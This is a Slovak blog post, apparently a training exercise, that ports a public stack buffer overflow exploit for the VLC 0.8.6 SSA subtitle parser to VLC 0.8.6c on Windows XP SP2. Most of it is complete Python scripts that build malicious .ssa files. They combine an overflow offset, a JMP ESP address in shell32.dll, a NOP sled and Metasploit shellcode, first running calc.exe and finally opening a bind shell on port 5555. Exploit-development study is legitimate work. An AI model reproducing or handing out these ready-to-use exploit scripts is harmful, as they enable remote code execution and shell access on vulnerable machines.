03.10
2010
Nasledovný exploit bol inšpirovaný kódom publikovaným 23.5. 2008 na vtedajšej najväčšej databáze verejných exploitov milw0rm.com pod názvom VLC 0.8.6d SSA Parsing Double Sh311 Universal Exploit. Ako vypovedá sám názov tohto exploitu, bol vytvorený pre VLC player verzie 0.8.6d, pre systém Windows XP (v tej dobe bez service packu). Prepis EIP registra nastáva po 152242 bitoch, následuje 16x NOP (No Operation), následne shellcode. Prepis EIP sa znova zopakuje vďaka SEHStructured Exception Handling. Po vytvorení ssa (SubStation Alpha) súboru a otvorení vo VLC prehrávači na testovacom systéme Windows XP SP2 sa teda pochopiteľne shellcode nespustí, najskôr pre odlišnú jmp espadresu v dll knižnici.V tejto časti si asi niekto položí otázku prečo analyzovať cca 2 roky starý exploit pre rovnako staré verzie multimediálneho prehrávača? Dôvod bol načrtnutý v info článku o novej verzii analyzéra sieťových protokolov – Wireshark.
Screenshot TCP streamu :

Hmm, software postavený na jadre VLC prehrávača v. 0.8.6c? Uvidíme :)

Zatiaľ predstavujeme len „port“ exploitu z verzie „d“ systému Windows XP na verziu „c“ rovnakého operačného systému + Service pack 2 vrámci tréningu Python-Fu. V podstate žiadna veľká vec, univerzálny exploit (napísaný v jazyku C) VLC v0.8.6 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal) publikovaný v Januári 2010 „poriešil“ všetky revízie VLC. Hrabať sa ale v cudzom kóde, je často náročnejšie ako debuggovanie aplikácie od úplnej nuly. Prečo dnes už postarší Winows XP SP2? Pretože neobsahuje ASLR (Address Space Layout Randomization) ochranu ako systémy Windows Vista, resp. Windows 7. Obchádzať ASLR pri takto starých verziách je len strata času, nevylučujeme ale neskorší „tweak“ počas nudných zimných večerov. :)

V skratke teda ako sa takýto exploit rodí?

Pôvodný exploit:
http://www.exploit-db.com/exploits/5667/
Bind EIP overwrite:
Prepis EIP registra v originálnom exploite nastal po 152242 bitoch, v našich podmienkach je ale toto číslo príliš nízke a nestačí. Vytvoríme preto Python skript s bufferom 200 000 „áčok“, resp. \x41. ASCII A = HEX \x41. Po spustení VLC 0.8.6c v Immunity debuggeri vidíme prepis EIP a ďalších registrov. 200 000 sa v tomto kroku javí ako príliš veľký buffer, je dôležité určiť presný bit. Vieme ale, že aplikácia je zraniteľná, pokračujeme úpravou skriptu.
#!/usr/bin/python
BUFFER = ‘A’*200000
#BUFFER = „\x41″ * 200000
EVIL    = BUFFER
fileHandle = open(‘eipbindrewrite.ssa’, ‘w’ )
fileHandle.write(‘[Script Info]\n’)
fileHandle.write(‘ScriptType: v4.00\n’)
fileHandle.write(‘Title: H4f sploit\n’)
fileHandle.write(‘Collisions: Normal\n\n’)
fileHandle.write(‘[V4 Styles]\n\n’)
fileHandle.write(‘[Events]\n’)
fileHandle.write(‘Dialogue: ‘+ EVIL)
fileHandle.close()
EIP overwrite – metasploit ./pattern_create.rb 200000
Nástroje obsiahnuté v Metasploit framework dokážu generovať unikátny string, vďaka ktorému určíme presný bit prepisujúci EIP. Pre upresnenie ide o Ruby skripty s názvom pattern_create.rb a pattern_offset.rb defaultne v systéme BackTrack v ceste /pentest/exploits/framework3/tools/. Z obrázku je jasné, že EIP register ukazuje na adresu 31644330 a ESP register na ASCII znaky Cd2…. Pre čitateľov, ktorí radi veci ručne a pomaly je možnosť rozdeliť si buffer na „A“ a „B“ ako je znázornená v ďalšom skripte. Je na zváženie, či vyhľadáme JMP ESP inštrukciu z vybranej dll pre neskoršie použitie teraz, alebo až neskôr po objavení „zázračného bitu“. CPU následne vykoná inštrukciu uloženú v adrese na ktorú ukazuje ESP register.
EIP overwrite A & B:
Rozdelíme buffer/offset na dve časti – 163 872 znakov „A“ + 7 znakov „B„. Debugger ukazuje, že EIP obsahuje znaky „A“ a rovnako aj „B„. Sme blízko, stačí chvíľa „ručného“ ladenia, debuggovania. V tomto kroku pridávame NOP – inštrukcie, ktoré slúžia pre stabilizáciu exploitu a nevykonávajú žiadnu činnosť a rovnako shellcode, ktorý vykoná požadovanú činnosť. Pre demonštráciu funkčnosti postačí jednoduchá kalkulačka. :) Shellcode spoľahlivo zabezpečí msfpayload znova zo známeho frameworku Metasploit. Doplníme potrebné a upravíme exploit o jednoduchú rovnicu: EVIL = offseta + offsetb + jmpesp + nop + shellcode.
#!/usr/bin/python
offseta = „\x41″ * 163872
offsetb = „\x42″ * 7
nop    = ‘\x90′*16
jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265  jmp ESP shell32.dll
# ./msfpayload windows/exec CMD=calc.exe
shellcode= („\xd9\xca\xbb\xba\x05\x4b\x7a\xd9\x74\x24\xf4\x5d\x31\xc9\xb1″
„\x33\x31\x5d\x18\x83\xed\xfc\x03\x5d\xae\xe7\xbe\x86\x26\x6e“
„\x40\x77\xb6\x11\xc8\x92\x87\x03\xae\xd7\xb5\x93\xa4\xba\x35″
„\x5f\xe8\x2e\xce\x2d\x25\x40\x67\x9b\x13\x6f\x78\x2d\x9c\x23″
„\xba\x2f\x60\x3e\xee\x8f\x59\xf1\xe3\xce\x9e\xec\x0b\x82\x77″
„\x7a\xb9\x33\xf3\x3e\x01\x35\xd3\x34\x39\x4d\x56\x8a\xcd\xe7″
„\x59\xdb\x7d\x73\x11\xc3\xf6\xdb\x82\xf2\xdb\x3f\xfe\xbd\x50″
„\x8b\x74\x3c\xb0\xc5\x75\x0e\xfc\x8a\x4b\xbe\xf1\xd3\x8c\x79″
„\xe9\xa1\xe6\x79\x94\xb1\x3c\x03\x42\x37\xa1\xa3\x01\xef\x01″
„\x55\xc6\x76\xc1\x59\xa3\xfd\x8d\x7d\x32\xd1\xa5\x7a\xbf\xd4″
„\x69\x0b\xfb\xf2\xad\x57\x58\x9a\xf4\x3d\x0f\xa3\xe7\x9a\xf0″
„\x01\x63\x08\xe5\x30\x2e\x47\xf8\xb1\x54\x2e\xfa\xc9\x56\x01″
„\x92\xf8\xdd\xce\xe5\x04\x34\xab\x19\x4f\x15\x9a\xb1\x16\xcf“
„\x9e\xdc\xa8\x25\xdc\xd8\x2a\xcc\x9d\x1f\x32\xa5\x98\x64\xf4″
„\x55\xd1\xf5\x91\x59\x46\xf6\xb3\x39\x09\x64\x5f\x90\xac\x0c“
„\xfa\xec\x24″)
EVIL    = offseta + offsetb + jmpesp + nop + shellcode
fileHandle = open(‘eiprewrite.ssa’, ‘w’ )
fileHandle.write(‘[Script Info]\n’)
fileHandle.write(‘ScriptType: v4.00\n’)
fileHandle.write(‘Title: H4f sploit\n’)
fileHandle.write(‘Collisions: Normal\n\n’)
fileHandle.write(‘[V4 Styles]\n\n’)
fileHandle.write(‘[Events]\n’)
fileHandle.write(‘Dialogue: ‘+ EVIL)
fileHandle.close()
Ladením získavame magické číslo 163868, vyhadzujeme offsetb, znižujeme veľkosť offsetu „A“, upravíme rovnicu. Ekvivalentom by ale bolo rozdeliť offset na ľubovoľný počet menších častí, dôležitý je len ich súčet – 163868.
Final sploit calc.exe payload:
#!/usr/bin/python
offset = „\x41″ * 163868
nop    = ‘\x90′*16
jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265  jmp ESP shell32.dll
# ./msfpayload windows/exec CMD=calc.exe
shellcode= („\xd9\xca\xbb\xba\x05\x4b\x7a\xd9\x74\x24\xf4\x5d\x31\xc9\xb1″
„\x33\x31\x5d\x18\x83\xed\xfc\x03\x5d\xae\xe7\xbe\x86\x26\x6e“
„\x40\x77\xb6\x11\xc8\x92\x87\x03\xae\xd7\xb5\x93\xa4\xba\x35″
„\x5f\xe8\x2e\xce\x2d\x25\x40\x67\x9b\x13\x6f\x78\x2d\x9c\x23″
„\xba\x2f\x60\x3e\xee\x8f\x59\xf1\xe3\xce\x9e\xec\x0b\x82\x77″
„\x7a\xb9\x33\xf3\x3e\x01\x35\xd3\x34\x39\x4d\x56\x8a\xcd\xe7″
„\x59\xdb\x7d\x73\x11\xc3\xf6\xdb\x82\xf2\xdb\x3f\xfe\xbd\x50″
„\x8b\x74\x3c\xb0\xc5\x75\x0e\xfc\x8a\x4b\xbe\xf1\xd3\x8c\x79″
„\xe9\xa1\xe6\x79\x94\xb1\x3c\x03\x42\x37\xa1\xa3\x01\xef\x01″
„\x55\xc6\x76\xc1\x59\xa3\xfd\x8d\x7d\x32\xd1\xa5\x7a\xbf\xd4″
„\x69\x0b\xfb\xf2\xad\x57\x58\x9a\xf4\x3d\x0f\xa3\xe7\x9a\xf0″
„\x01\x63\x08\xe5\x30\x2e\x47\xf8\xb1\x54\x2e\xfa\xc9\x56\x01″
„\x92\xf8\xdd\xce\xe5\x04\x34\xab\x19\x4f\x15\x9a\xb1\x16\xcf“
„\x9e\xdc\xa8\x25\xdc\xd8\x2a\xcc\x9d\x1f\x32\xa5\x98\x64\xf4″
„\x55\xd1\xf5\x91\x59\x46\xf6\xb3\x39\x09\x64\x5f\x90\xac\x0c“
„\xfa\xec\x24″)
EVIL = offset + jmpesp + nop + shellcode
fileHandle = open(‘sploit.ssa’, ‘w’ )
fileHandle.write(‘[Script Info]\n’)
fileHandle.write(‘ScriptType: v4.00\n’)
fileHandle.write(‘Title: H4f test sploit-VLC 0.8.6.c\n’)
fileHandle.write(‘Collisions: Normal\n\n’)
fileHandle.write(‘[V4 Styles]\n\n’)
fileHandle.write(‘[Events]\n’)
fileHandle.write(‘Dialogue: ‘+ EVIL)
fileHandle.close()
Screenshot:

Final sploit – bind payload. Nahradíme calc.exe za Bind payload otvárajúci port 5555:

#!/usr/bin/python
offset = „\x41″ * 163868
nop    = ‘\x90′*16
jmpesp = ‘\x65\x82\xA5\x7C’ # 0x7CA58265  jmp ESP shell32.dll

# ./msfpayload windows/shell_bind_tcp  LPORT=5555
shellcode= („\xba\x2d\xd0\x06\xdc\x31\xc9\xb1\x56\xdb\xca\xd9\x74\x24\xf4″
„\x5b\x31\x53\x10\x03\x53\x10\x83\xeb\xfc\xcf\x25\xfa\x34\x86″
„\xc6\x03\xc5\xf8\x4f\xe6\xf4\x2a\x2b\x62\xa4\xfa\x3f\x26\x45″
„\x71\x6d\xd3\xde\xf7\xba\xd4\x57\xbd\x9c\xdb\x68\x70\x21\xb7″
„\xab\x13\xdd\xca\xff\xf3\xdc\x04\xf2\xf2\x19\x78\xfd\xa6\xf2″
„\xf6\xac\x56\x76\x4a\x6d\x57\x58\xc0\xcd\x2f\xdd\x17\xb9\x85″
„\xdc\x47\x12\x92\x97\x7f\x18\xfc\x07\x81\xcd\x1f\x7b\xc8\x7a“
„\xeb\x0f\xcb\xaa\x22\xef\xfd\x92\xe8\xce\x31\x1f\xf1\x17\xf5″
„\xc0\x84\x63\x05\x7c\x9e\xb7\x77\x5a\x2b\x2a\xdf\x29\x8b\x8e“
„\xe1\xfe\x4d\x44\xed\x4b\x1a\x02\xf2\x4a\xcf\x38\x0e\xc6\xee“
„\xee\x86\x9c\xd4\x2a\xc2\x47\x75\x6a\xae\x26\x8a\x6c\x16\x96″
„\x2e\xe6\xb5\xc3\x48\xa5\xd1\x20\x66\x56\x22\x2f\xf1\x25\x10″
„\xf0\xa9\xa1\x18\x79\x77\x35\x5e\x50\xcf\xa9\xa1\x5b\x2f\xe3″
„\x65\x0f\x7f\x9b\x4c\x30\x14\x5b\x70\xe5\xba\x0b\xde\x56\x7a“
„\xfc\x9e\x06\x12\x16\x11\x78\x02\x19\xfb\x0f\x05\xd7\xdf\x43″
„\xe1\x1a\xe0\x76\x42\x93\x06\x12\xb4\xf2\x91\x8b\x76\x21\x2a“
„\x2b\x89\x03\x06\xe4\x1d\x1b\x40\x32\x22\x9c\x46\x10\x8f\x34″
„\x01\xe3\xc3\x80\x30\xf4\xce\xa0\x3b\xcc\x98\x3b\x52\x9e\x39″
„\x3b\x7f\x48\xda\xae\xe4\x89\x95\xd2\xb2\xde\xf2\x25\xcb\x8b“
„\xee\x1c\x65\xae\xf3\xf9\x4e\x6a\x2f\x3a\x50\x72\xa2\x06\x76″
„\x64\x7a\x86\x32\xd0\xd2\xd1\xec\x8e\x94\x8b\x5e\x79\x4e\x67″
„\x09\xed\x17\x4b\x8a\x6b\x18\x86\x7c\x93\xa8\x7f\x39\xab\x04″
„\xe8\xcd\xd4\x79\x88\x32\x0f\x3a\xb8\x78\x12\x6a\x51\x25\xc6″
„\x2f\x3c\xd6\x3c\x73\x39\x55\xb5\x0b\xbe\x45\xbc\x0e\xfa\xc1″
„\x2c\x62\x93\xa7\x52\xd1\x94\xed\x59″)

EVIL = offset + jmpesp + nop + shellcode
fileHandle = open(‘bindsploit.ssa’, ‘w’ )
fileHandle.write(‘[Script Info]\n’)
fileHandle.write(‘ScriptType: v4.00\n’)
fileHandle.write(‘Title: H4f test sploit-VLC 0.8.6.c\n’)
fileHandle.write(‘Collisions: Normal\n\n’)
fileHandle.write(‘[V4 Styles]\n\n’)
fileHandle.write(‘[Events]\n’)
fileHandle.write(‘Dialogue: ‘+ EVIL)
fileHandle.close()
Vyrobíme ssa file, otvoríme VLC playerom a Bang!  Port 5555 je otvorený a čaká na spojenie s Netcat:

 

Článok je úmyselne stručný v teoretických detailoch eip, esp, jmp esp, nop a praktických častiach msfencode,pattern create, pattern offset. Lepšie ako na nižšie uverených stránkach sa to napísať naozaj nedá. Corelan demonštruje vývoj exploitu pre Easy RM to MP3 Conversion Utility a Grey Corner pre už spomínaný Minishare exploit.Pri stack based overflow je princíp zhruba rovnaký, v jazykoch ako sú Python a Perl ľahko implementovateľný.

Referencie:

http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

http://grey-corner.blogspot.com/2010/01/beginning-stack-based-buffer-overflow.html

 

Súvisiace články: Prepisujeme exploit just 4 fun |pvefindaddr|Smashing the stack in 2010 ?!?, mona.py – PyCommand pre Immunity DebuggerPrepisujeme exploit just 4 fun |SEH|

Žádný komentář.

Přidat komentář